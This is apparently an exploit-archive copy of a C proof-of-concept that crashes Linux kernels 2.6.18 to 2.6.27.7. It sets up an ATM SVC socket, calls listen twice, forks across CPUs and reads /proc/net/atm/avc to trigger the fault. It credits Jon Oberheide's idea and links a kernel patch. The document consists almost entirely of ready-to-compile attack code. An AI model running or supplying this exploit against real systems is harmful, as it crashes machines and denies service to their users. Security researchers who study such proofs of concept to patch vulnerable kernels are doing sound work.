Linux Kernel 2.6.27-7-generic Denial Of Service

`/*   
Linux Kernel 2.6.27.7-generic - 2.6.18 - 2.6.24-1 Dos Exploit  
ariginal idéé : Jon Oberheide łł  
http://www.milw0rm.com/exploits/7405  
tested : 2.6.27.7-generic - 2.6.18 - 2.6.24-1   
by : ADU-T   
patching :  
http://marc.info/?l=linux-netdev&m=122841256115780&w=2   
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <fcntl.h>  
#include <linux/atm.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <sys/stat.h>   
  
#define NUM_CPUS 8   
#define ATM "/proc/net/atm/avc"  
  
int   
main(void)   
{   
char *err, adurit[2000];   
int i, ret, sock, proc;   
struct atm_qos dj;   
struct sockaddr_atmsvc addr;  
  
  
  
sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);  
  
  
memset(&dj, 0, sizeof(dj));   
dj.rxtp.traffic_class = ATM_UBR;   
dj.txtp.traffic_class = ATM_UBR;   
dj.aal = ATM_NO_AAL;   
  
  
ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &dj, sizeof(dj));  
if (ret == -1) {  
printf("failed !\n");  
return 1;  
}  
memset(&addr, 0, sizeof(addr));  
addr.sas_family = AF_ATMSVC;  
  
bind(sock, (struct sockaddr *) &addr, sizeof(addr));  
  
listen(sock, 10);  
listen(sock, 10);  
  
for (i = 1; i < NUM_CPUS; ++i) {  
if (fork() != 0) {  
break;  
}  
}  
proc = open(ATM, O_RDONLY);  
ret = read(proc, &adurit, 2000);  
close(proc);  
  
return 0;  
}  
  
`